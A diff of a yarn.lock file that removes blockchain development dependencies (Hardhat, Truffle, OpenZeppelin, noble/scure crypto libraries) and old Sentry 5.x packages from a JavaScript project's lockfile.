sha512-kmcNicCp1lp8qanMTC3RIikGgoJ80ztTyvtsFvCYpSCfkjhD0jZ2LOrnbcuxuToLIUYYf+4XwD1rP+B/erDIhQ== @@ -1923,37 +1850,6 @@ "@jridgewell/resolve-uri" "3.1.0" "@jridgewell/sourcemap-codec" "1.4.14" -"@metamask/eth-sig-util@4.0.1", "@metamask/eth-sig-util@^4.0.0": - version "4.0.1" - resolved "https://registry.npmjs.org/@metamask/eth-sig-util/-/eth-sig-util-4.0.1.tgz" - integrity sha512-tghyZKLHZjcdlDqCA3gNZmLeR0XvOE9U1qoQO9ohyAZT6Pya+H9vkBPcsyXytmYLNgVoin7CKCmweo/R43V+tQ== - dependencies: - ethereumjs-abi "^0.6.8" - ethereumjs-util "^6.2.1" - ethjs-util "^0.1.6" - tweetnacl "^1.0.3" - tweetnacl-util "^0.15.1" - -"@metamask/safe-event-emitter@^2.0.0": - version "2.0.0" - resolved "https://registry.npmjs.org/@metamask/safe-event-emitter/-/safe-event-emitter-2.0.0.tgz" - integrity sha512-/kSXhY692qiV1MXu6EeOZvg5nECLclxNXcKCxJ3cXQgYuRymRHpdx/t7JXfsK+JLjwA1e1c1/SBrlQYpusC29Q== - -"@noble/hashes@1.1.2": - version "1.1.2" - resolved "https://registry.npmjs.org/@noble/hashes/-/hashes-1.1.2.tgz" - integrity sha512-KYRCASVTv6aeUi1tsF8/vpyR7zpfs3FUzy2Jqm+MU+LmUKhQ0y2FpfwqkCcxSg2ua4GALJd8k2R76WxwZGbQpA== - -"@noble/hashes@~1.1.1": - version "1.1.3" - resolved "https://registry.npmjs.org/@noble/hashes/-/hashes-1.1.3.tgz" - integrity sha512-CE0FCR57H2acVI5UOzIGSSIYxZ6v/HOhDR0Ro9VLyhnzLwx0o8W1mmgaqlEUx4049qJDlIBRztv5k+MM8vbO3A== - -"@noble/secp256k1@1.6.3", "@noble/secp256k1@~1.6.0": - version "1.6.3" - resolved "https://registry.npmjs.org/@noble/secp256k1/-/secp256k1-1.6.3.tgz" - integrity sha512-T04e4iTurVy7I8Sw4+c5OSN9/RkPlo1uKxAomtxQNLq8j1uPAqnsqG1bqvY3Jv7c13gyr6dui0zmh/I3+f/JaQ== - "@nodelib/fs.scandir@2.1.5": version "2.1.5" resolved "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz" @@ -1975,250 +1871,6 @@ "@nodelib/fs.scandir" "2.1.5" fastq "^1.6.0" -"@nomicfoundation/ethereumjs-block@^4.0.0": - version "4.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-block/-/ethereumjs-block-4.0.0.tgz" - integrity sha512-bk8uP8VuexLgyIZAHExH1QEovqx0Lzhc9Ntm63nCRKLHXIZkobaFaeCVwTESV7YkPKUk7NiK11s8ryed4CS9yA== - dependencies: - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-trie" "^5.0.0" - "@nomicfoundation/ethereumjs-tx" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - ethereum-cryptography "0.1.3" - -"@nomicfoundation/ethereumjs-blockchain@^6.0.0": - version "6.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-blockchain/-/ethereumjs-blockchain-6.0.0.tgz" - integrity sha512-pLFEoea6MWd81QQYSReLlLfH7N9v7lH66JC/NMPN848ySPPQA5renWnE7wPByfQFzNrPBuDDRFFULMDmj1C0xw== - dependencies: - "@nomicfoundation/ethereumjs-block" "^4.0.0" - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-ethash" "^2.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-trie" "^5.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - abstract-level "^1.0.3" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - level "^8.0.0" - lru-cache "^5.1.1" - memory-level "^1.0.0" - -"@nomicfoundation/ethereumjs-common@^3.0.0": - version "3.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-common/-/ethereumjs-common-3.0.0.tgz" - integrity sha512-WS7qSshQfxoZOpHG/XqlHEGRG1zmyjYrvmATvc4c62+gZXgre1ymYP8ZNgx/3FyZY0TWe9OjFlKOfLqmgOeYwA== - dependencies: - "@nomicfoundation/ethereumjs-util" "^8.0.0" - crc-32 "^1.2.0" - -"@nomicfoundation/ethereumjs-ethash@^2.0.0": - version "2.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-ethash/-/ethereumjs-ethash-2.0.0.tgz" - integrity sha512-WpDvnRncfDUuXdsAXlI4lXbqUDOA+adYRQaEezIkxqDkc+LDyYDbd/xairmY98GnQzo1zIqsIL6GB5MoMSJDew== - dependencies: - "@nomicfoundation/ethereumjs-block" "^4.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - abstract-level "^1.0.3" - bigint-crypto-utils "^3.0.23" - ethereum-cryptography "0.1.3" - -"@nomicfoundation/ethereumjs-evm@^1.0.0": - version "1.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-evm/-/ethereumjs-evm-1.0.0.tgz" - integrity sha512-hVS6qRo3V1PLKCO210UfcEQHvlG7GqR8iFzp0yyjTg2TmJQizcChKgWo8KFsdMw6AyoLgLhHGHw4HdlP8a4i+Q== - dependencies: - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - "@types/async-eventemitter" "^0.2.1" - async-eventemitter "^0.2.4" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - mcl-wasm "^0.7.1" - rustbn.js "~0.2.0" - -"@nomicfoundation/ethereumjs-rlp@^4.0.0", "@nomicfoundation/ethereumjs-rlp@^4.0.0-beta.2": - version "4.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-rlp/-/ethereumjs-rlp-4.0.0.tgz" - integrity sha512-GaSOGk5QbUk4eBP5qFbpXoZoZUj/NrW7MRa0tKY4Ew4c2HAS0GXArEMAamtFrkazp0BO4K5p2ZCG3b2FmbShmw== - -"@nomicfoundation/ethereumjs-statemanager@^1.0.0": - version "1.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-statemanager/-/ethereumjs-statemanager-1.0.0.tgz" - integrity sha512-jCtqFjcd2QejtuAMjQzbil/4NHf5aAWxUc+CvS0JclQpl+7M0bxMofR2AJdtz+P3u0ke2euhYREDiE7iSO31vQ== - dependencies: - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-trie" "^5.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - functional-red-black-tree "^1.0.1" - -"@nomicfoundation/ethereumjs-trie@^5.0.0": - version "5.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-trie/-/ethereumjs-trie-5.0.0.tgz" - integrity sha512-LIj5XdE+s+t6WSuq/ttegJzZ1vliwg6wlb+Y9f4RlBpuK35B9K02bO7xU+E6Rgg9RGptkWd6TVLdedTI4eNc2A== - dependencies: - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - ethereum-cryptography "0.1.3" - readable-stream "^3.6.0" - -"@nomicfoundation/ethereumjs-tx@^4.0.0": - version "4.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-tx/-/ethereumjs-tx-4.0.0.tgz" - integrity sha512-Gg3Lir2lNUck43Kp/3x6TfBNwcWC9Z1wYue9Nz3v4xjdcv6oDW9QSMJxqsKw9QEGoBBZ+gqwpW7+F05/rs/g1w== - dependencies: - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - ethereum-cryptography "0.1.3" - -"@nomicfoundation/ethereumjs-util@^8.0.0": - version "8.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-util/-/ethereumjs-util-8.0.0.tgz" - integrity sha512-2emi0NJ/HmTG+CGY58fa+DQuAoroFeSH9gKu9O6JnwTtlzJtgfTixuoOqLEgyyzZVvwfIpRueuePb8TonL1y+A== - dependencies: - "@nomicfoundation/ethereumjs-rlp" "^4.0.0-beta.2" - ethereum-cryptography "0.1.3" - -"@nomicfoundation/ethereumjs-vm@^6.0.0": - version "6.0.0" - resolved "https://registry.npmjs.org/@nomicfoundation/ethereumjs-vm/-/ethereumjs-vm-6.0.0.tgz" - integrity sha512-JMPxvPQ3fzD063Sg3Tp+UdwUkVxMoo1uML6KSzFhMH3hoQi/LMuXBoEHAoW83/vyNS9BxEe6jm6LmT5xdeEJ6w== - dependencies: - "@nomicfoundation/ethereumjs-block" "^4.0.0" - "@nomicfoundation/ethereumjs-blockchain" "^6.0.0" - "@nomicfoundation/ethereumjs-common" "^3.0.0" - "@nomicfoundation/ethereumjs-evm" "^1.0.0" - "@nomicfoundation/ethereumjs-rlp" "^4.0.0" - "@nomicfoundation/ethereumjs-statemanager" "^1.0.0" - "@nomicfoundation/ethereumjs-trie" "^5.0.0" - "@nomicfoundation/ethereumjs-tx" "^4.0.0" - "@nomicfoundation/ethereumjs-util" "^8.0.0" - "@types/async-eventemitter" "^0.2.1" - async-eventemitter "^0.2.4" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - functional-red-black-tree "^1.0.1" - mcl-wasm "^0.7.1" - rustbn.js "~0.2.0" - -"@nomicfoundation/hardhat-network-helpers@^1.0.7": - version "1.0.7" - resolved "https://registry.npmjs.org/@nomicfoundation/hardhat-network-helpers/-/hardhat-network-helpers-1.0.7.tgz" - integrity sha512-X+3mNvn8B7BY5hpIaLO+TrfzWq12bpux+ajGGdmdcfC78NXmYmOZkAtiz1QZx1YIZGMS1LaXzPXyBExxKFpCaw== - dependencies: - ethereumjs-util "^7.1.4" - -"@nomicfoundation/solidity-analyzer-darwin-arm64@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-darwin-arm64/-/solidity-analyzer-darwin-arm64-0.1.0.tgz#83a7367342bd053a76d04bbcf4f373fef07cf760" - integrity sha512-vEF3yKuuzfMHsZecHQcnkUrqm8mnTWfJeEVFHpg+cO+le96xQA4lAJYdUan8pXZohQxv1fSReQsn4QGNuBNuCw== - -"@nomicfoundation/solidity-analyzer-darwin-x64@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-darwin-x64/-/solidity-analyzer-darwin-x64-0.1.0.tgz#1225f7da647ae1ad25a87125664704ecc0af6ccc" - integrity sha512-dlHeIg0pTL4dB1l9JDwbi/JG6dHQaU1xpDK+ugYO8eJ1kxx9Dh2isEUtA4d02cQAl22cjOHTvifAk96A+ItEHA== - -"@nomicfoundation/solidity-analyzer-freebsd-x64@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-freebsd-x64/-/solidity-analyzer-freebsd-x64-0.1.0.tgz#dbc052dcdfd50ae50fd5ae1788b69b4e0fa40040" - integrity sha512-WFCZYMv86WowDA4GiJKnebMQRt3kCcFqHeIomW6NMyqiKqhK1kIZCxSLDYsxqlx396kKLPN1713Q1S8tu68GKg== - -"@nomicfoundation/solidity-analyzer-linux-arm64-gnu@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-arm64-gnu/-/solidity-analyzer-linux-arm64-gnu-0.1.0.tgz#e6b2eea633995b557e74e881d2a43eab4760903d" - integrity sha512-DTw6MNQWWlCgc71Pq7CEhEqkb7fZnS7oly13pujs4cMH1sR0JzNk90Mp1zpSCsCs4oKan2ClhMlLKtNat/XRKQ== - -"@nomicfoundation/solidity-analyzer-linux-arm64-musl@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-arm64-musl/-/solidity-analyzer-linux-arm64-musl-0.1.0.tgz#af81107f5afa794f19988a368647727806e18dc4" - integrity sha512-wUpUnR/3GV5Da88MhrxXh/lhb9kxh9V3Jya2NpBEhKDIRCDmtXMSqPMXHZmOR9DfCwCvG6vLFPr/+YrPCnUN0w== - -"@nomicfoundation/solidity-analyzer-linux-x64-gnu@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-x64-gnu/-/solidity-analyzer-linux-x64-gnu-0.1.0.tgz#6877e1da1a06a9f08446070ab6e0a5347109f868" - integrity sha512-lR0AxK1x/MeKQ/3Pt923kPvwigmGX3OxeU5qNtQ9pj9iucgk4PzhbS3ruUeSpYhUxG50jN4RkIGwUMoev5lguw== - -"@nomicfoundation/solidity-analyzer-linux-x64-musl@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-linux-x64-musl/-/solidity-analyzer-linux-x64-musl-0.1.0.tgz#bb6cd83a0c259eccef4183796b6329a66cf7ebd9" - integrity sha512-A1he/8gy/JeBD3FKvmI6WUJrGrI5uWJNr5Xb9WdV+DK0F8msuOqpEByLlnTdLkXMwW7nSl3awvLezOs9xBHJEg== - -"@nomicfoundation/solidity-analyzer-win32-arm64-msvc@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-win32-arm64-msvc/-/solidity-analyzer-win32-arm64-msvc-0.1.0.tgz#9d4bca1cc9a1333fde985675083b0b7d165f6076" - integrity sha512-7x5SXZ9R9H4SluJZZP8XPN+ju7Mx+XeUMWZw7ZAqkdhP5mK19I4vz3x0zIWygmfE8RT7uQ5xMap0/9NPsO+ykw== - -"@nomicfoundation/solidity-analyzer-win32-ia32-msvc@0.1.0": - version "0.1.0" - resolved "https://registry.yarnpkg.com/@nomicfoundation/solidity-analyzer-win32-ia32-msvc/-/solidity-analyzer-win32-ia32-msvc-0.1.0.tgz#0db5bfc6aa952bea4098d8d2c8947b4e5c4337ee" - integrity sha512-m7w3xf+hnE774YRXu+2mGV7RiF3QJtUoiYU61FascCkQhX3QMQavh7saH/vzb2jN5D24nT/jwvaHYX/MAM9zUw== - -"@nomicfoundation/solidity-analyzer-win32-x64-msvc@0.1.0": - version "0.1.0" - resolved "https://registry.npmjs.org/@nomicfoundation/solidity-analyzer-win32-x64-msvc/-/solidity-analyzer-win32-x64-msvc-0.1.0.tgz" - integrity sha512-xCuybjY0sLJQnJhupiFAXaek2EqF0AP0eBjgzaalPXSNvCEN6ZYHvUzdA50ENDVeSYFXcUsYf3+FsD3XKaeptA== - -"@nomicfoundation/solidity-analyzer@^0.1.0": - version "0.1.0" - resolved "https://registry.npmjs.org/@nomicfoundation/solidity-analyzer/-/solidity-analyzer-0.1.0.tgz" - integrity sha512-xGWAiVCGOycvGiP/qrlf9f9eOn7fpNbyJygcB0P21a1MDuVPlKt0Srp7rvtBEutYQ48ouYnRXm33zlRnlTOPHg== - optionalDependencies: - "@nomicfoundation/solidity-analyzer-darwin-arm64" "0.1.0" - "@nomicfoundation/solidity-analyzer-darwin-x64" "0.1.0" - "@nomicfoundation/solidity-analyzer-freebsd-x64" "0.1.0" - "@nomicfoundation/solidity-analyzer-linux-arm64-gnu" "0.1.0" - "@nomicfoundation/solidity-analyzer-linux-arm64-musl" "0.1.0" - "@nomicfoundation/solidity-analyzer-linux-x64-gnu" "0.1.0" - "@nomicfoundation/solidity-analyzer-linux-x64-musl" "0.1.0" - "@nomicfoundation/solidity-analyzer-win32-arm64-msvc" "0.1.0" - "@nomicfoundation/solidity-analyzer-win32-ia32-msvc" "0.1.0" - "@nomicfoundation/solidity-analyzer-win32-x64-msvc" "0.1.0" - -"@nomiclabs/hardhat-ethers@^2.2.1": - version "2.2.3" - resolved "https://registry.yarnpkg.com/@nomiclabs/hardhat-ethers/-/hardhat-ethers-2.2.3.tgz#b41053e360c31a32c2640c9a45ee981a7e603fe0" - integrity sha512-YhzPdzb612X591FOe68q+qXVXGG2ANZRvDo0RRUtimev85rCrAlv/TLMEZw5c+kq9AbzocLTVX/h2jVIFPL9Xg== - -"@nomiclabs/hardhat-truffle5@^2.0.0": - version "2.0.7" - resolved "https://registry.npmjs.org/@nomiclabs/hardhat-truffle5/-/hardhat-truffle5-2.0.7.tgz" - integrity sha512-Pw8451IUZp1bTp0QqCHCYfCHs66sCnyxPcaorapu9mfOV9xnZsVaFdtutnhNEiXdiZwbed7LFKpRsde4BjFwig== - dependencies: - "@nomiclabs/truffle-contract" "^4.2.23" - "@types/chai" "^4.2.0" - chai "^4.2.0" - ethereumjs-util "^7.1.4" - fs-extra "^7.0.1" - -"@nomiclabs/hardhat-web3@^2.0.0": - version "2.0.0" - resolved "https://registry.yarnpkg.com/@nomiclabs/hardhat-web3/-/hardhat-web3-2.0.0.tgz#2d9850cb285a2cebe1bd718ef26a9523542e52a9" - integrity sha512-zt4xN+D+fKl3wW2YlTX3k9APR3XZgPkxJYf36AcliJn3oujnKEVRZaHu0PhgLjO+gR+F/kiYayo9fgd2L8970Q== - dependencies: - "@types/bignumber.js" "^5.0.0" - -"@nomiclabs/truffle-contract@^4.2.23": - version "4.5.10" - resolved "https://registry.npmjs.org/@nomiclabs/truffle-contract/-/truffle-contract-4.5.10.tgz" - integrity sha512-nF/6InFV+0hUvutyFgsdOMCoYlr//2fJbRER4itxYtQtc4/O1biTwZIKRu+5l2J5Sq6LU2WX7vZHtDgQdhWxIQ== - dependencies: - "@ensdomains/ensjs" "^2.0.1" - "@truffle/blockchain-utils" "^0.1.3" - "@truffle/contract-schema" "^3.4.7" - "@truffle/debug-utils" "^6.0.22" - "@truffle/error" "^0.1.0" - "@truffle/interface-adapter" "^0.5.16" - bignumber.js "^7.2.1" - ethereum-ens "^0.8.0" - ethers "^4.0.0-beta.1" - source-map-support "^0.5.19" - "@npmcli/fs@^1.0.0": version "1.1.1" resolved "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz" @@ -2235,50 +1887,6 @@ mkdirp "^1.0.4" rimraf "^3.0.2" -"@openzeppelin/contracts-upgradeable@^4.8.0": - version "4.8.0" - resolved "https://registry.npmjs.org/@openzeppelin/contracts-upgradeable/-/contracts-upgradeable-4.8.0.tgz" - integrity sha512-5GeFgqMiDlqGT8EdORadp1ntGF0qzWZLmEY7Wbp/yVhN7/B3NNzCxujuI77ktlyG81N3CUZP8cZe3ZAQ/cW10w== - -"@openzeppelin/contracts@4.7.3", "openzeppelin-contracts-08@npm:@openzeppelin/contracts@4.7.3": - version "4.7.3" - resolved "https://registry.npmjs.org/@openzeppelin/contracts/-/contracts-4.7.3.tgz" - integrity sha512-dGRS0agJzu8ybo44pCIf3xBaPQN/65AIXNgK8+4gzKd5kbvlqyxryUYVLJv7fK98Seyd2hDZzVEHSWAh0Bt1Yw== - -"@openzeppelin/hardhat-upgrades@^1.21.0": - version "1.21.0" - resolved "https://registry.npmjs.org/@openzeppelin/hardhat-upgrades/-/hardhat-upgrades-1.21.0.tgz" - integrity sha512-Kwl7IN0Hlhj4HluMTTl0DrtU90OI/Q6rG3sAyd2pv3fababe9EuZqs9DydOlkWM45JwTzC+eBzX3TgHsqI13eA== - dependencies: - "@openzeppelin/upgrades-core" "^1.20.0" - chalk "^4.1.0" - debug "^4.1.1" - proper-lockfile "^4.1.1" - -"@openzeppelin/truffle-upgrades@^1.17.0": - version "1.17.0" - resolved "https://registry.npmjs.org/@openzeppelin/truffle-upgrades/-/truffle-upgrades-1.17.0.tgz" - integrity sha512-62g/6di5/YQ/wl1WgBiM3PPZAmzcR6UtP9UWwlSiMohV8lepUF2YDX0QFQ1qr/29KfY351WbCUPohSyf01hNGg== - dependencies: - "@openzeppelin/upgrades-core" "^1.20.0" - "@truffle/contract" "^4.3.26" - chalk "^4.1.0" - debug "^4.1.1" - solidity-ast "^0.4.15" - -"@openzeppelin/upgrades-core@^1.20.0": - version "1.20.4" - resolved "https://registry.npmjs.org/@openzeppelin/upgrades-core/-/upgrades-core-1.20.4.tgz" - integrity sha512-Y4/+BPIbnopfE6ZhPOE2CD0V5fnvDxKKm7+kryx5+WrcRCTW3B5DjbXL9xyyoviG8Rn5EXUh5Fk1GLbiYDfu0g== - dependencies: - cbor "^8.0.0" - chalk "^4.1.0" - compare-versions "^5.0.0" - debug "^4.1.1" - ethereumjs-util "^7.0.3" - proper-lockfile "^4.1.1" - solidity-ast "^0.4.15" - "@pmmmwh/react-refresh-webpack-plugin@0.4.3": version "0.4.3" resolved "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.4.3.tgz" @@ -2296,43 +1904,6 @@ resolved "https://registry.npmjs.org/@remix-run/router/-/router-1.0.3.tgz" integrity sha512-ceuyTSs7PZ/tQqi19YZNBc5X7kj1f8p+4DIyrcIYFY9h+hd1OKm4RqtiWldR9eGEvIiJfsqwM4BsuCtRIuEw6Q== -"@resolver-engine/core@^0.3.3": - version "0.3.3" - resolved "https://registry.npmjs.org/@resolver-engine/core/-/core-0.3.3.tgz" - integrity sha512-eB8nEbKDJJBi5p5SrvrvILn4a0h42bKtbCTri3ZxCGt6UvoQyp7HnGOfki944bUjBSHKK3RvgfViHn+kqdXtnQ== - dependencies: - debug "^3.1.0" - is-url "^1.2.4" - request "^2.85.0" - -"@resolver-engine/fs@^0.3.3": - version "0.3.3" - resolved "https://registry.npmjs.org/@resolver-engine/fs/-/fs-0.3.3.tgz" - integrity sha512-wQ9RhPUcny02Wm0IuJwYMyAG8fXVeKdmhm8xizNByD4ryZlx6PP6kRen+t/haF43cMfmaV7T3Cx6ChOdHEhFUQ== - dependencies: - "@resolver-engine/core" "^0.3.3" - debug "^3.1.0" - -"@resolver-engine/imports-fs@^0.3.3": - version "0.3.3" - resolved "https://registry.npmjs.org/@resolver-engine/imports-fs/-/imports-fs-0.3.3.tgz" - integrity sha512-7Pjg/ZAZtxpeyCFlZR5zqYkz+Wdo84ugB5LApwriT8XFeQoLwGUj4tZFFvvCuxaNCcqZzCYbonJgmGObYBzyCA== - dependencies: - "@resolver-engine/fs" "^0.3.3" - "@resolver-engine/imports" "^0.3.3" - debug "^3.1.0" - -"@resolver-engine/imports@^0.3.3": - version "0.3.3" - resolved "https://registry.npmjs.org/@resolver-engine/imports/-/imports-0.3.3.tgz" - integrity sha512-anHpS4wN4sRMwsAbMXhMfOD/y4a4Oo0Cw/5+rue7hSwGWsDOQaAU1ClK1OxjUC35/peazxEl8JaSRRS+Xb8t3Q== - dependencies: - "@resolver-engine/core" "^0.3.3" - debug "^3.1.0" - hosted-git-info "^2.6.0" - path-browserify "^1.0.0" - url "^0.11.0" - "@rollup/plugin-node-resolve@^7.1.1": version "7.1.3" resolved "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-7.1.3.tgz" @@ -2361,28 +1932,6 @@ estree-walker "^1.0.1" picomatch "^2.2.2" -"@scure/base@~1.1.0": - version "1.1.1" - resolved "https://registry.npmjs.org/@scure/base/-/base-1.1.1.tgz" - integrity sha512-ZxOhsSyxYwLJj3pLZCefNitxsj093tb2vq90mp2txoYeBqbcjDjqFhyM8eUjq/uFm6zJ+mUuqxlS2FkuSY1MTA== - -"@scure/bip32@1.1.0": - version "1.1.0" - resolved "https://registry.npmjs.org/@scure/bip32/-/bip32-1.1.0.tgz" - integrity sha512-ftTW3kKX54YXLCxH6BB7oEEoJfoE2pIgw7MINKAs5PsS6nqKPuKk1haTF/EuHmYqG330t5GSrdmtRuHaY1a62Q== - dependencies: - "@noble/hashes" "~1.1.1" - "@noble/secp256k1" "~1.6.0" - "@scure/base" "~1.1.0" - -"@scure/bip39@1.1.0": - version "1.1.0" - resolved "https://registry.npmjs.org/@scure/bip39/-/bip39-1.1.0.tgz" - integrity sha512-pwrPOS16VeTKg98dYXQyIjJEcWfz7/1YJIwxUEPFfQPtc86Ym/1sVgQ2RLoD43AazMk2l/unK4ITySSpW2+82w== - dependencies: - "@noble/hashes" "~1.1.1" - "@scure/base" "~1.1.0" - "@sentry/browser@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/browser/-/browser-7.19.0.tgz" @@ -2393,17 +1942,6 @@ "@sentry/utils" "7.19.0" tslib "^1.9.3" -"@sentry/core@5.30.0": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/core/-/core-5.30.0.tgz" - integrity sha512-TmfrII8w1PQZSZgPpUESqjB+jC6MvZJZdLtE/0hZ+SrnKhW3x5WlYLvTXZpcWePYBku7rl2wn1RZu6uT0qCTeg== - dependencies: - "@sentry/hub" "5.30.0" - "@sentry/minimal" "5.30.0" - "@sentry/types" "5.30.0" - "@sentry/utils" "5.30.0" - tslib "^1.9.3" - "@sentry/core@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/core/-/core-7.19.0.tgz" @@ -2413,39 +1951,6 @@ "@sentry/utils" "7.19.0" tslib "^1.9.3" -"@sentry/hub@5.30.0": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/hub/-/hub-5.30.0.tgz" - integrity sha512-2tYrGnzb1gKz2EkMDQcfLrDTvmGcQPuWxLnJKXJvYTQDGLlEvi2tWz1VIHjunmOvJrB5aIQLhm+dcMRwFZDCqQ== - dependencies: - "@sentry/types" "5.30.0" - "@sentry/utils" "5.30.0" - tslib "^1.9.3" - -"@sentry/minimal@5.30.0": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/minimal/-/minimal-5.30.0.tgz" - integrity sha512-BwWb/owZKtkDX+Sc4zCSTNcvZUq7YcH3uAVlmh/gtR9rmUvbzAA3ewLuB3myi4wWRAMEtny6+J/FN/x+2wn9Xw== - dependencies: - "@sentry/hub" "5.30.0" - "@sentry/types" "5.30.0" - tslib "^1.9.3" - -"@sentry/node@^5.18.1": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/node/-/node-5.30.0.tgz" - integrity sha512-Br5oyVBF0fZo6ZS9bxbJZG4ApAjRqAnqFFurMVJJdunNb80brh7a5Qva2kjhm+U6r9NJAB5OmDyPkA1Qnt+QVg== - dependencies: - "@sentry/core" "5.30.0" - "@sentry/hub" "5.30.0" - "@sentry/tracing" "5.30.0" - "@sentry/types" "5.30.0" - "@sentry/utils" "5.30.0" - cookie "^0.4.1" - https-proxy-agent "^5.0.0" - lru_map "^0.3.3" - tslib "^1.9.3" - "@sentry/react@^7.0.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/react/-/react-7.19.0.tgz" @@ -2457,35 +1962,11 @@ hoist-non-react-statics "^3.3.2" tslib "^1.9.3" -"@sentry/tracing@5.30.0": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/tracing/-/tracing-5.30.0.tgz" - integrity sha512-dUFowCr0AIMwiLD7Fs314Mdzcug+gBVo/+NCMyDw8tFxJkwWAKl7Qa2OZxLQ0ZHjakcj1hNKfCQJ9rhyfOl4Aw== - dependencies: - "@sentry/hub" "5.30.0" - "@sentry/minimal" "5.30.0" - "@sentry/types" "5.30.0" - "@sentry/utils" "5.30.0" - tslib "^1.9.3" - -"@sentry/types@5.30.0": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/types/-/types-5.30.0.tgz" - integrity sha512-R8xOqlSTZ+htqrfteCWU5Nk0CDN5ApUTvrlvBuiH1DyP6czDZ4ktbZB0hAgBlVcK0U+qpD3ag3Tqqpa5Q67rPw== - "@sentry/types@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/types/-/types-7.19.0.tgz" integrity sha512-oGRAT6lfzoKrxO1mvxiSj0XHxWPd6Gd1wpPGuu6iJo03xgWDS+MIlD1h2unqL4N5fAzLjzmbC2D2lUw50Kn2pA== -"@sentry/utils@5.30.0": - version "5.30.0" - resolved "https://registry.npmjs.org/@sentry/utils/-/utils-5.30.0.tgz" - integrity sha512-zaYmoH0NWWtvnJjC9/CBseXMtKHm/tm40sz3YfJRxeQjyzRqNQPgivpd9R/oDJCYj999mzdW382p/qi2ypjLww== - dependencies: - "@sentry/types" "5.30.0" - tslib "^1.9.3" - "@sentry/utils@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/utils/-/utils-7.19.0.tgz" @@ -2518,13 +1999,6 @@ dependencies: "@sinonjs/commons" "^1.7.0" -"@solidity-parser/parser@^0.14.0": - version "0.14.5" - resolved "https://registry.npmjs.org/@solidity-parser/parser/-/parser-0.14.5.tgz" - integrity sha512-6dKnHZn7fg/iQATVEzqyUOyEidbn05q7YA2mQ9hC0MMXhhV3/JrsxmFSYZAcr7j1yUP700LLhTruvJ3MiQmjJg== - dependencies: - antlr4ts "^0.5.0-alpha.4" - "@surma/rollup-plugin-off-main-thread@^1.1.1": version "1.4.2" resolved "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-1.4.2.tgz" @@ -2671,7 +2145,7 @@ fast-check "3.1.1" web3-utils "1.7.4" -"@truffle/blockchain-utils@^0.1.3", "@truffle/blockchain-utils@^0.1.4": +"@truffle/blockchain-utils@^0.1.4": version "0.1.4" resolved "https://registry.npmjs.org/@truffle/blockchain-utils/-/blockchain-utils-0.1.4.tgz" integrity sha512-HegAo5A8UX9vE8dtceBRgCY207gOb9wj54c8mNOOWHcFpkyJz7kZYGo44As6Imh10/0hD2j7vHQ56Jf+uszJ3A== @@ -2700,7 +2174,7 @@ "@truffle/error" "^0.1.1" colors "1.4.0" 